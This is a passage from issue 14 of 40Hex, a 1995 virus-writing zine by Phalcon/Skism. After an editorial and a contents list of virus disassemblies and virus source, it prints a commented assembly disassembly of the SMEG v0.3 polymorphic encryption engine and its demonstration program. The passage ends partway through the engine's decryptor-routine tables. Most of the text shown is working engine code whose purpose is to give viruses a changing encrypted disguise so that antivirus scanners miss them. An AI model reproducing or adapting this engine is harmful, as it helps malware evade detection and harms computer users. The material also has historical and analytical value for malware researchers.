12616 lines
464 KiB
Plaintext
12616 lines
464 KiB
Plaintext
40Hex Number 14 Volume 5 Issue 1 File 000
|
||
|
||
Wow, another release of 40hex. Bet you thought we were dead. Wrong.
|
||
Lots of stuff has happened since the last issue of 40hex. The most
|
||
important thing to note is that my apartment burned down back in November.
|
||
I lost pretty much everything, but miraculously, my 386/33 and the 8 megs of
|
||
ram inside it survived a BIG fire, the water hose, then being thrown out of
|
||
a 3 story window. All of the information I had was destroyed however.
|
||
The next thing I would like to mention is the Wired Article that appeared
|
||
about PHALCON/SKISM. It sucked. Besides the fact that I was called the
|
||
"Official Archivist", it was filled with standard virus hype. But hey, at
|
||
least we get to see a picture of Hellraiser and Mark Ludwig.
|
||
|
||
** If you subscribed to the Hard Copy, I lost all subscriber information,
|
||
** please either E-Mail us or mail the P.O. Box.
|
||
|
||
Where to get 40hex:
|
||
|
||
ftp:
|
||
---
|
||
aql.gatech.edu:/pub/virii
|
||
netcom.com:/br/bradleym/zines
|
||
|
||
WWW:
|
||
---
|
||
http://underground.org/publications/40hex
|
||
|
||
Email:
|
||
-----
|
||
fortyhex@phantom.com
|
||
|
||
Phalcon/Skism's Top 13 List of Things you Find in 40hex-14
|
||
----------------------------------------------------------
|
||
|
||
|
||
40hex-14.000 Mrrrh, yer stepping in it.
|
||
40hex-14.001 Smeg Disassembly
|
||
40hex-14.002 Kill Smeg
|
||
40hex-14.003 Boot Sectors Explored
|
||
40hex-14.004 Assassin
|
||
40hex-14.005 And Now for something completely useless...
|
||
40hex-14.006 Junkie Dis
|
||
40hex-14.007 Virus Spotlight: 3APA3A
|
||
40hex-14.008 Corporate Life
|
||
40hex-14.009 Grace
|
||
40hex-14.010 Level 3
|
||
40hex-14.011 Jump
|
||
40hex-14.012 UMB Residency
|
||
40hex-14.013 Avalanche
|
||
|
||
|
||
40Hex is (C) 1995 Phalcon/Skism. All rights reserved. This magazine may not
|
||
be sold or modified without the written consent of Phalcon/Skism.
|
||
|
||
|
||
Greetings flyin' out to: Qark, Antigen, Lookout, Dark Slayer, Theora, cDc,
|
||
MHP, #virus, and all the members that have gotten back in touch with us.
|
||
|
||
-- >> G-to-the-H-to-the-E-to-the-A-to-the-P
|
||
|
||
|
||
|
||
|
||
40Hex Number 14 Volume 5 Issue 1 File 001
|
||
|
||
SMEG is one of those ubiquitous polymorphism aids which have become fashionable
|
||
during the last few years. It was written by the Black Baron of England. It
|
||
tends to generate rather large decryptors. The only really interesting feature
|
||
is that it has the capability of generating CALL's to garbage subroutines. Note
|
||
that there are only a few routines which SMEG chooses from, so this encryption
|
||
is more on the level of Whale coupled with garbling. The debug script follows
|
||
the disassembly.
|
||
|
||
Dark Angel
|
||
Phalcon/Skism 1995
|
||
|
||
-------------------------------
|
||
; This is the disassembly of a SMEG demonstration program which generates
|
||
; snippets of code encrypted with SMEG.
|
||
|
||
.model tiny
|
||
.code
|
||
.radix 16
|
||
org 100
|
||
; Disassembly by Dark Angel of Phalcon/Skism
|
||
; for 40Hex #14 Vol 5 Issue 1
|
||
workbuffer struc
|
||
datasize dw ? ; 00 length of data to crypt
|
||
sourceptr dw ? ; 02 pointer to data to crypt
|
||
targetptr dw ? ; 04 pointer of where to put crypted data
|
||
db ? ; 06 reg0 encryption value
|
||
db ? ; 07 reg1 counter register
|
||
db ? ; 08 reg2 temporary storage for data
|
||
; to be decrypted
|
||
db ? ; 09 reg3
|
||
db ? ; 0A reg4 (always BP)
|
||
db ? ; 0B reg5
|
||
db ? ; 0C reg6
|
||
db ? ; 0D reg7 pointer register
|
||
rng_buffer dw ? ; 0E used by random number generator
|
||
cryptval db ? ; 10 encryption value
|
||
ptr_offsets dw ? ; 11 XXXX in [bx+XXXX] memory references
|
||
loop_top dw ? ; 13 points to top of decryption loop
|
||
pointer_patch dw ? ; 15 points to initialisation of pointer
|
||
counter_patch dw ? ; 17 points to initialisation of counter
|
||
pointer_fixup dw ? ; 19 needed for pointer calculation
|
||
crypt_type db ? ; 1B how is it encrypted?
|
||
initialIP dw ? ; 1C IP at start of decryptor
|
||
lastgarble db ? ; 1E type of the last garbling instr
|
||
cJMP_patch dw ? ; 1F conditional jmp patch
|
||
CALL_patch dw ? ; 21 CALL patch
|
||
nJMP_patch dw ? ; 23 near JMP patch
|
||
garbage_size dw ? ; 25 # garbage bytes to append
|
||
decryptor_size dw ? ; 27 size of decryptor
|
||
last_CALL dw ? ; 29 location of an old CALL patch location
|
||
which_tbl dw ? ; 2B which table to use
|
||
workbuffer ends
|
||
|
||
SMEG_demo: jmp enter_SMEG_demo
|
||
filename db '0000.COM', 0
|
||
|
||
prompt db 'SMEG v0.3. Generation Difference Demonstration',0Dh
|
||
db 0A,9,' (C) The Black Baron 1994',0Dh,0A,0A,0A
|
||
db 'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
|
||
db '1 -- 10 Generations',0Dh,0A
|
||
db '2 -- 100 ""',0Dh,0A
|
||
db '3 -- 1000 ""',0Dh,0A
|
||
db '4 -- 10000 "" (Large HD`s Only!!)$'
|
||
|
||
_10 db ' 10 $'
|
||
_100 db ' 100 $'
|
||
_1000 db ' 1000 $'
|
||
_10000 db ' 10000 $'
|
||
|
||
generating db 0Dh,0A,0A,0A,'Generating$'
|
||
|
||
|
||
please_wait db 'Executable .COM Generations, Please Wait...$'
|
||
|
||
checkdiff db 0Dh,0A,0A
|
||
db 'DONE! Now examine each, and'
|
||
db ' note how different they are!',0Dh,0A,0A,7,'$'
|
||
|
||
diskerror db 0Dh,0A,0A,'SORRY! A disk error has occurred!'
|
||
db 0Dh,0A,0A,7,'$'
|
||
|
||
num2gen dw 10d, offset _10
|
||
dw 100d, offset _100
|
||
dw 1000d, offset _1000
|
||
dw 10000d, offset _10000
|
||
|
||
enter_SMEG_demo:mov ax,3 ; set video mode to standard
|
||
int 10 ; text mode (clear screen, too)
|
||
|
||
mov dx,offset prompt ; display prompt
|
||
mov ah,9
|
||
int 21
|
||
|
||
inputloop: mov ax,0C07 ; clear keyboard buffer & get
|
||
int 21 ; keystroke
|
||
|
||
cmp al,'1' ; must be between 1 and 4
|
||
jb inputloop
|
||
cmp al,'4'
|
||
ja inputloop
|
||
|
||
sub al,'1' ; normalise
|
||
xor ah,ah ; and find out how many files
|
||
add ax,ax ; we should generate
|
||
add ax,ax
|
||
add ax,offset num2gen
|
||
xchg bx,ax
|
||
push bx
|
||
|
||
mov dx,offset generating
|
||
mov ah,9 ; display string
|
||
int 21
|
||
|
||
pop bx ; display num to generate
|
||
mov cx,[bx]
|
||
push cx
|
||
mov dx,[bx+2]
|
||
int 21
|
||
|
||
mov dx,offset please_wait ; display string again
|
||
int 21
|
||
|
||
pop cx
|
||
|
||
gen_file_loop: push cx
|
||
mov bp,offset data_area ; set up SMEG registers
|
||
mov di,offset target_area
|
||
mov dx,offset carrier
|
||
mov cx,offset end_carrier - offset carrier
|
||
mov ax,100 ; COM files start exec @ 100
|
||
call SMEG ; encrypt the carrier file
|
||
|
||
mov ah,5Bh ; create new file
|
||
mov dx,offset filename
|
||
xor cx,cx
|
||
int 21
|
||
jnc created_file
|
||
print_error_exit:
|
||
call print_error
|
||
exit_error: pop cx
|
||
mov ax,4CFF ; terminate errorlevel -1
|
||
int 21
|
||
|
||
created_file: xchg bx,ax
|
||
mov ah,40 ; write decryptor
|
||
mov cx,[bp.decryptor_size]
|
||
mov dx,offset target_area
|
||
int 21
|
||
jnc write_rest
|
||
|
||
close_exit: call print_error
|
||
mov ah,3E ; close file
|
||
int 21
|
||
jmp short exit_error
|
||
|
||
write_rest: call encrypt ; encrypt the code
|
||
mov ah,40 ; the write the result to the
|
||
mov cx,[bp.datasize] ; file
|
||
mov dx,offset target_area
|
||
int 21
|
||
jc close_exit
|
||
|
||
call generate_garbage ; create garbage
|
||
mov ah,40 ; append it to the file
|
||
int 21
|
||
jc close_exit
|
||
|
||
mov ah,3E ; close file
|
||
int 21
|
||
jc print_error_exit
|
||
|
||
mov bx,offset filename+3 ; calculate next file name
|
||
mov cx,4
|
||
inc_fname: inc byte ptr [bx]
|
||
cmp byte ptr [bx],3A
|
||
jb increment_done
|
||
sub byte ptr [bx],0A
|
||
dec bx
|
||
loop inc_fname
|
||
increment_done: pop cx
|
||
loop gen_file_loop
|
||
|
||
mov dx,offset checkdiff ; display string
|
||
mov ah,9
|
||
int 21
|
||
|
||
mov ax,4C00 ; exit errorlevel 0
|
||
int 21
|
||
|
||
print_error: mov dx,offset diskerror ; display error message
|
||
mov ah,9
|
||
int 21
|
||
|
||
retn
|
||
|
||
carrier: call enter_carrier
|
||
db 0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
|
||
db ' decryptor!',0Dh,0A,'$'
|
||
enter_carrier: pop dx
|
||
mov ah,9 ; print string
|
||
int 21
|
||
|
||
mov ax,4c00 ; terminate
|
||
int 21
|
||
end_carrier:
|
||
|
||
; SMEG code begins here
|
||
|
||
SMEG: mov [bp.datasize],cx ; save length to crypt
|
||
mov [bp.sourceptr],dx ; save offset to data to crypt
|
||
mov [bp.targetptr],di ; save offset to where to put crypted stuff
|
||
push bx si
|
||
|
||
mov bx,bp
|
||
db 83,0C3,06 ; add bx,6
|
||
mov cx,2Dh ; clear the work area with 0's
|
||
; the above line is buggy. it should read: mov cx,2Dh-6
|
||
push bx
|
||
clear_dataarea: mov [bx],ch
|
||
inc bx
|
||
loop clear_dataarea
|
||
|
||
mov [bp.initialIP],ax ; store initial IP
|
||
call rnd_init
|
||
mov bx,offset use_regs_tbl
|
||
call rnd_get
|
||
and al,1F
|
||
xlat
|
||
pop bx
|
||
mov cx,4
|
||
fill_registers:
|
||
xor dl,dl ; fill in which registers
|
||
rcl al,1 ; do which job
|
||
rcl dl,1
|
||
rcl al,1
|
||
rcl dl,1
|
||
mov [bx],dl
|
||
inc bx
|
||
loop fill_registers
|
||
|
||
mov byte ptr [bx],5 ; use BP as a garbling register
|
||
inc bx
|
||
inc bx
|
||
call rnd_get
|
||
rol al,1 ; get top bit of al
|
||
and al,1 ; to select between
|
||
add al,6 ; si and di for ptr
|
||
mov [bx],al ; register
|
||
xor al,1 ; flip to the other one
|
||
cmp byte ptr [bx-3],3 ; is it BX?
|
||
jne is_not_bx
|
||
mov [bx-3],al
|
||
mov al,3
|
||
is_not_bx: mov [bx+1],al
|
||
mov al,[bx-3]
|
||
mov [bx-1],al
|
||
|
||
gen_cryptval: call rnd_get
|
||
xor al,ah
|
||
jz gen_cryptval
|
||
mov [bp.cryptval],al ; store encryption value
|
||
|
||
call rnd_get ; get a random value for the
|
||
or al,1 ; offset of memory references,
|
||
mov [bp.ptr_offsets],ax ; i.e. the XXXX in [bp+XXXX]
|
||
|
||
call rnd_init ; generate a random number
|
||
and ax,3FF ; from 80 to 47F to be the
|
||
add ax,80 ; number of garbage bytes to
|
||
mov [bp.garbage_size],ax ; add
|
||
|
||
; the next block serves no purpose. but it is a valid text string...
|
||
xor ax,ax ; 3?SMEG????
|
||
add al,53 ; where ? stands for an upper
|
||
dec bp ; ASCII character
|
||
inc bp
|
||
inc di
|
||
add al,0AE
|
||
cld
|
||
sub di,ax
|
||
|
||
call rnd_get ; do the following from
|
||
and ax,3 ; 3 to 7 times
|
||
add al,3
|
||
xchg cx,ax
|
||
begin_garble: push cx
|
||
call garble_more
|
||
call rnd_get
|
||
cmp al,8C
|
||
jbe no_int21
|
||
and ax,3 ; encode a dummy int 21
|
||
add ax,offset int21fcns ; call
|
||
xchg si,ax
|
||
mov ah,0B4
|
||
lodsb
|
||
xchg ah,al
|
||
stosw
|
||
mov ax,21CDh ; encode int 21
|
||
stosw
|
||
no_int21: pop cx
|
||
loop begin_garble
|
||
|
||
mov al,0E8 ; encode a CALL
|
||
stosb
|
||
push di ; write garbage for offset
|
||
stosw ; of call for now
|
||
call garble_more ; encode some garbage
|
||
mov al,0E9 ; encode a JMP
|
||
stosb
|
||
pop bx
|
||
push di
|
||
stosw
|
||
push di
|
||
pop ax
|
||
dec ax
|
||
dec ax
|
||
sub ax,bx
|
||
mov [bx],ax ; patch CALL to point to
|
||
; space past the JMP where we
|
||
call garble_more ; encode a garbage subroutine
|
||
|
||
mov al,0C3 ; encode a RETN
|
||
stosb
|
||
|
||
pop bx
|
||
push di
|
||
pop ax
|
||
dec ax
|
||
dec ax
|
||
sub ax,bx
|
||
mov [bx],ax ; Make JMP go past subroutine
|
||
|
||
call encode_routine ; encode the routine!
|
||
|
||
mov si,bp
|
||
db 83,0C6,08 ; add si,8 ; default to using data temp
|
||
; storage register to return
|
||
; to top of loop
|
||
and al,al ; check return code of routine
|
||
jnz how_to_top
|
||
dec si ; if 0, instead use encryption
|
||
dec si ; value register to return
|
||
how_to_top: mov al,75 ; encode JNZ
|
||
stosb
|
||
inc di
|
||
push di
|
||
call garble_some
|
||
pop bx
|
||
mov al,0E9 ; encode a JMP
|
||
stosb
|
||
push di
|
||
inc di ; skip the offset for now
|
||
inc di
|
||
mov ax,di
|
||
sub ax,bx
|
||
mov [bx-1],al ; patch the JNZ
|
||
call garble_some
|
||
|
||
call rnd_get
|
||
and ax,3 ; first entry requires
|
||
add ax,ax ; no register setup, so
|
||
jz no_setup ; jmp past it
|
||
|
||
push ax
|
||
mov al,0B8
|
||
or al,[si] ; MOV word-reg, XXXX
|
||
stosb
|
||
mov ax,[bp.loop_top]
|
||
sub ax,[bp.targetptr]
|
||
add ax,[bp.initialIP]
|
||
stosw
|
||
call garble_some
|
||
pop ax
|
||
no_setup: add ax,offset jmp_table
|
||
xchg bx,ax
|
||
call word ptr [bx] ; encode method of returning
|
||
stosw ; to the top of the loop
|
||
|
||
pop bx
|
||
mov ax,di
|
||
sub ax,bx
|
||
dec ax
|
||
dec ax
|
||
mov [bx],ax
|
||
call garble_more
|
||
pad_paragraph: mov ax,di ; pad the decryptor out to the
|
||
sub ax,[bp.targetptr] ; nearest paragraph
|
||
and al,0F ; do we need to?
|
||
jz padded ; no, we are done
|
||
cmp al,0C ; otherwise, still a lot to go?
|
||
ja one_byte_pad ; no, do one byte at a time
|
||
call not_branch_garble ; else do a nonbranching
|
||
jmp short pad_paragraph ; instruction
|
||
|
||
one_byte_pad: call rnd_get ; do a random one byte padding
|
||
call do_one_byte ; instruction
|
||
jmp short pad_paragraph
|
||
|
||
padded: mov ax,di
|
||
sub ax,[bp.targetptr]
|
||
mov [bp.decryptor_size],ax
|
||
add ax,[bp.initialIP]
|
||
mov cx,[bp.pointer_fixup]
|
||
sub ax,cx
|
||
mov bx,[bp.pointer_patch]
|
||
mov [bx],ax
|
||
mov bl,[bp.crypt_type] ; get encryption type so
|
||
mov cl,3 ; the initial value of the
|
||
ror bl,cl ; counter can be calculated
|
||
db 83,0E3,0F ; and bx,0F
|
||
add bx,offset counter_init_table
|
||
mov ax,[bp.datasize]
|
||
call word ptr [bx]
|
||
|
||
mov bx,[bp.counter_patch] ; patch the value of the
|
||
mov [bx],ax ; counter as needed
|
||
|
||
pop si bx
|
||
retn
|
||
|
||
generate_garbage:
|
||
mov cx,[bp.garbage_size] ; write random bytes
|
||
mov di,[bp.targetptr] ; to the target location
|
||
push cx di
|
||
random_gen: call rnd_get
|
||
stosb
|
||
loop random_gen
|
||
pop dx cx
|
||
retn
|
||
|
||
write_table dw offset write_nothing
|
||
dw offset write_cryptval
|
||
dw offset write_pointer_patch
|
||
dw offset write_counter_patch
|
||
dw offset write_ptr_offset
|
||
dw offset write_dl
|
||
|
||
; In the following table, each pair of bits represents a register
|
||
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
|
||
use_regs_tbl: db 00011011b ; ax cx dx bx
|
||
db 11000110b ; bx ax cx dx
|
||
db 10110001b ; dx bx ax cx
|
||
db 01101100b ; cx dx bx ax
|
||
db 11100100b ; bx dx cx ax
|
||
db 00111001b ; ax bx dx cx
|
||
db 01001110b ; cx ax bx dx
|
||
db 10010011b ; dx cx ax bx
|
||
db 01001011b ; cx ax dx bx
|
||
db 11010010b ; bx cx ax dx
|
||
db 10110100b ; dx bx cx ax
|
||
db 00101101b ; ax dx cx bx
|
||
db 11100001b ; bx dx ax cx
|
||
db 01111000b ; cx bx dx ax
|
||
db 00011110b ; ax cx bx dx
|
||
db 10000111b ; dx ax cx bx
|
||
db 00100111b ; ax dx cx bx
|
||
db 11001001b ; bx ax dx cx
|
||
db 01110010b ; cx bx ax dx
|
||
db 10011100b ; dx cx bx ax
|
||
db 11011000b ; dx ax bx cx
|
||
db 00110110b ; ax bx cx dx
|
||
db 10001101b ; bx cx dx ax
|
||
db 01100011b ; cx dx ax bx
|
||
db 11100100b ; bx dx cx ax
|
||
db 00101101b ; ax dx cx bx
|
||
db 00100111b ; ax dx cx bx
|
||
db 00011110b ; ax cx bx dx
|
||
db 11000110b ; bx ax cx dx
|
||
db 10000111b ; bx cx ax dx
|
||
db 11010010b ; cx bx ax dx
|
||
db 01110010b ; cx bx ax dx
|
||
|
||
onebyte_table: dec ax
|
||
inc ax
|
||
clc
|
||
cld
|
||
cmc
|
||
stc
|
||
inc ax
|
||
dec ax
|
||
|
||
; high byte holds the opcode, low byte holds the second byte of the
|
||
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
|
||
; byte hold the maximum amount to add to the high byte in creating the
|
||
; instruction. This allows one word to generate more than one instruction,
|
||
; including the byte or word forms of the instructions
|
||
; note that this is reverse of what will be actually stored
|
||
garble_table: dw 80F1 ; XOR reg, XXXX
|
||
dw 3201 ; XOR reg, [reg]
|
||
dw 0F6C1 ; TEST reg, XXXX
|
||
dw 8405 ; TEST/XCHG reg, [reg]
|
||
dw 80E9 ; SUB reg, XXXX (2 diff encodings)
|
||
dw 2A01 ; SUB reg, [reg]
|
||
dw 0D0EBh ; SHR reg, 1
|
||
dw 1A01 ; SBB reg, [reg]
|
||
dw 80D9 ; SBB reg, XXXX
|
||
dw 80D1 ; ADC reg, XXXX
|
||
dw 0D0FBh ; SAR reg, 1/CL
|
||
dw 0D0E3 ; SHL reg, 1/CL
|
||
dw 0D0CBh ; ROR reg, 1/CL
|
||
dw 0D0C3 ; ROL reg, 1/CL
|
||
dw 8405 ; TEST/XCHG reg, [reg]
|
||
dw 0D0DBh ; RCR reg, 1/CL
|
||
dw 0C6C1 ; MOV reg, XXXX
|
||
dw 080C9 ; OR reg, XXXX
|
||
dw 0A01 ; OR reg, [reg]
|
||
dw 0F6D1 ; NOT reg
|
||
dw 0F6D9 ; NEG reg
|
||
dw 8A01 ; MOV reg, [reg]
|
||
dw 0C6C1 ; MOV reg, XXXX
|
||
dw 0201 ; ADD reg, [reg]
|
||
dw 80C1 ; ADD reg, XXXX
|
||
dw 80FDh ; CMP reg, XXXX
|
||
dw 3807 ; CMP reg, [reg] (2 diff encodings)
|
||
dw 80E1 ; AND reg, XXXX
|
||
dw 0D0D3 ; RCL reg, 1/CL
|
||
dw 2201 ; AND reg, [reg]
|
||
dw 1201 ; ADC reg, [reg]
|
||
dw 8A01 ; MOV reg, [reg]
|
||
|
||
int21fcns db 19,2A,2C,30
|
||
|
||
counter_init_table:
|
||
dw offset counterinit0
|
||
dw offset counterinit1
|
||
dw offset counterinit2
|
||
dw offset counterinit3
|
||
dw offset counterinit4
|
||
dw offset counterinit5
|
||
dw offset counterinit6
|
||
dw offset counterinit7
|
||
|
||
encode_table dw offset use_as_is
|
||
dw offset fill_mod_field
|
||
dw offset fill_field
|
||
dw offset fill_reg_reg1
|
||
dw offset fill_reg_field
|
||
dw offset fill_mod_n_reg
|
||
dw offset fill_reg_reg2
|
||
|
||
encode_tbl1: db 8,8C,0,0C8,4,0 ; 1 MOV reg0, CS
|
||
db 8,8E,0,0D8,4,0 ; 2 MOV DS, reg0
|
||
db 7,0B8,4,-1,0,2 ; 3 MOV reg7,initial pointer
|
||
db 1,0B8,4,-1,0,3 ; 4 MOV reg1,initial counter
|
||
db 57,8A,0,80,5,4 ; 5 MOV reg2,[reg7+offset]
|
||
db 57,88,0,80,5,4 ; 6 MOV [reg7+offset],reg2
|
||
db 2,80,0,0F0,4,1 ; 7 XOR reg2,cryptvalue
|
||
db 11,8Bh,0,0C0,5,0 ; 8 MOV reg2,reg1
|
||
db 78,30,0,0,6,0 ; 9 XOR [reg7],reg0
|
||
db 47,0F6,0,98,4,4 ; A NEG [reg7+offset]
|
||
db 47,0F6,0,90,4,4 ; B NOT [reg7+offset]
|
||
db 7,40,4,-1,0,0 ; C INC reg7
|
||
db 1,48,4,-1,0,0 ; D DEC reg1
|
||
db 8,0B0,4, -1,0,1 ; E MOV reg0,cryptval
|
||
db 10,33,0,0C0,5,0 ; F XOR reg2,reg0
|
||
|
||
encode_tbl2: db 47,86,0,80,5,4 ; 1 XCHG reg0,[reg7+offset]
|
||
db 8,40,4,-1,0,0 ; 2 INC reg0
|
||
db 8,48,4,-1,0,0 ; 3 DEC reg0
|
||
db 7,81,0,0C0,4,15 ; 4 ADD reg7,1
|
||
db 1,81,0,0E8,4,15 ; 5 SUB reg1,1
|
||
db 10,2,0,0C0,5,0 ; 6 ADD reg2,reg0
|
||
db 10,2A,0,0C0,5,0 ; 7 SUB reg2,reg0
|
||
db 47,0FBh,4,0B0,4,4 ; 8 PUSH [reg7+offset]
|
||
db 47,8F,0,80,4,4 ; 9 POP [reg7+offset]
|
||
db 8,50,4,-1,0,0 ; A PUSH reg0
|
||
db 8,58,4,-1,0,0 ; B POP reg0
|
||
db 10,87,0,0C0,5,0 ; C XCHG reg2,reg0
|
||
db 2,40,4,-1,0,0 ; D INC reg2
|
||
db 8,8Bh,0,0C0,5,0 ; E MOV reg1,reg0
|
||
db 9,23,0,0C0,5,0 ; F AND reg1,reg1
|
||
|
||
routine4: db 10
|
||
; MOV reg0,CS (1)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg0,encryption value (E)
|
||
; XOR reg2,reg0 (F)
|
||
; beginning of loop (0)
|
||
; MOV reg2,[reg7+offset] (5)
|
||
; XOR reg2,reg0 (F)
|
||
; INC reg0 (02)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; INC reg7 (C)
|
||
; DEC reg1 (D)
|
||
; done (-1)
|
||
db 13,24,0EF,05,0F0,26,0CDh,-1
|
||
|
||
routine8: db 71
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg0,CS (1)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg0,encryption value (E)
|
||
; beginning of loop (0)
|
||
; DEC reg1 (D)
|
||
; NEG [reg7+offset] (A)
|
||
; DEC reg1 (D)
|
||
; MOV reg2,[reg7+offset] (5)
|
||
; XOR reg2,reg0 (F)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; DEC reg0 (03)
|
||
; ADD reg7,1 (04)
|
||
; SUB reg1,1 (05)
|
||
; DEC reg0 (03)
|
||
; SUB reg1,1 (05)
|
||
; done (-1)
|
||
db 34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1
|
||
|
||
routine1: db 42
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg0,CS (1)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg0,encryption value (E)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV DS,reg0 (2)
|
||
; beginning of loop (0)
|
||
; XCHG reg0,[reg7+offset] (01)
|
||
; XOR reg2,reg0 (F)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; MOV reg2,reg1 (8)
|
||
; MOV reg2,reg1 (8)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; DEC reg0 (03)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg1,reg0 (0E)
|
||
; ADD reg7,1 (04)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
; return code 0 (0)
|
||
|
||
|
||
db 43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
|
||
db 0F0,-1,0
|
||
|
||
routineC: db 33
|
||
; MOV reg0,CS (1)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg0,encryption value (E)
|
||
; beginning of loop (0)
|
||
; DEC reg1 (D)
|
||
; DEC reg1 (D)
|
||
; NOT [reg7+offset] (B)
|
||
; MOV reg2,[reg7+offset] (5)
|
||
; XOR reg2,reg0 (F)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; XOR reg2,reg0 (F)
|
||
; INC reg7 (C)
|
||
; INC reg0 (02)
|
||
; INC reg0 (02)
|
||
; XOR reg2,reg0 (F)
|
||
; done (-1)
|
||
db 14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1
|
||
|
||
routineE: db 64
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg0,CS (1)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; MOV reg7,initial pointer (3)
|
||
; XOR reg2,reg0 (F)
|
||
; beginning of loop (0)
|
||
; XOR [reg7],reg0 (9)
|
||
; MOV reg2,reg1 (8)
|
||
; XCHG reg2,reg0 (0C)
|
||
; INC reg0 (02)
|
||
; INC reg2 (0D)
|
||
; INC reg0 (02)
|
||
; ADD reg7,1 (04)
|
||
; INC reg0 (02)
|
||
; INC reg0 (02)
|
||
; MOV reg1,reg0 (0E)
|
||
; INC reg2 (0D)
|
||
; XCHG reg2,reg0 (0C)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
db 41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1
|
||
|
||
routine2: db 5
|
||
; MOV reg0,CS (1)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; XOR reg2,reg0 (F)
|
||
; beginning of loop (0)
|
||
; DEC reg1 (D)
|
||
; XOR reg2,encryption value (7)
|
||
; PUSH reg0 (0A)
|
||
; PUSH [reg7+offset] (08)
|
||
; POP reg0 (0B)
|
||
; XCHG reg2,reg0 (0C)
|
||
; POP reg0 (0B)
|
||
; PUSH reg0 (0A)
|
||
; SUB reg2,reg0 (07)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; INC reg7 (C)
|
||
; MOV reg2,reg1 (8)
|
||
; MOV reg2,reg1 (8)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg1,reg0 (0E)
|
||
; POP reg0 (0B)
|
||
; INC reg0 (02)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
db 13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
|
||
db 0D0,0C0,0E0,0B0,20,0F0,-1
|
||
|
||
routineF: db 56
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg0,CS (1)
|
||
; MOV DS,reg0 (2)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; beginning of loop (0)
|
||
; MOV reg2,[reg7+offset] (5)
|
||
; INC reg2 (0D)
|
||
; ADD reg2,reg0 (06)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; MOV reg2,reg1 (8)
|
||
; DEC reg0 (03)
|
||
; XOR reg2,reg0 (F)
|
||
; DEC reg1 (D)
|
||
; INC reg7 (C)
|
||
; DEC reg1 (D)
|
||
; done (-1)
|
||
db 34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1
|
||
|
||
routine9: db 27
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg0,CS (1)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; XOR reg2,reg0 (F)
|
||
; beginning of loop (0)
|
||
; XOR [reg7],reg0 (9)
|
||
; XOR reg2,reg0 (F)
|
||
; ADD reg7,1 (04)
|
||
; PUSH reg0 (0A)
|
||
; MOV reg2,reg1 (8)
|
||
; DEC reg1 (D)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; INC reg2 (0D)
|
||
; XCHG reg2,reg0 (0C)
|
||
; MOV reg1,reg0 (0E)
|
||
; POP reg0 (0B)
|
||
; DEC reg0 (03)
|
||
; AND reg1,reg1 (0F)
|
||
; done (-1)
|
||
db 41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
|
||
db -1
|
||
|
||
routine7: db 32
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg0,CS (1)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV DS,reg0 (2)
|
||
; MOV reg0,encryption value (E)
|
||
; XCHG reg2,reg0 (0C)
|
||
; beginning of loop (0)
|
||
; MOV reg2,reg1 (8)
|
||
; DEC reg1 (D)
|
||
; POP reg0 (0B)
|
||
; XOR reg2,reg0 (F)
|
||
; MOV [reg7+offset],reg2 (6)
|
||
; DEC reg0 (03)
|
||
; XCHG reg2,reg0 (0C)
|
||
; ADD reg7,1 (04)
|
||
; DEC reg1 (D)
|
||
; done (-1)
|
||
; return code 0 (0)
|
||
db 41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0
|
||
|
||
routine5: db 11
|
||
; MOV reg1,initial counter (4)
|
||
; MOV reg7,initial pointer (3)
|
||
; MOV reg0,CS (1)
|
||
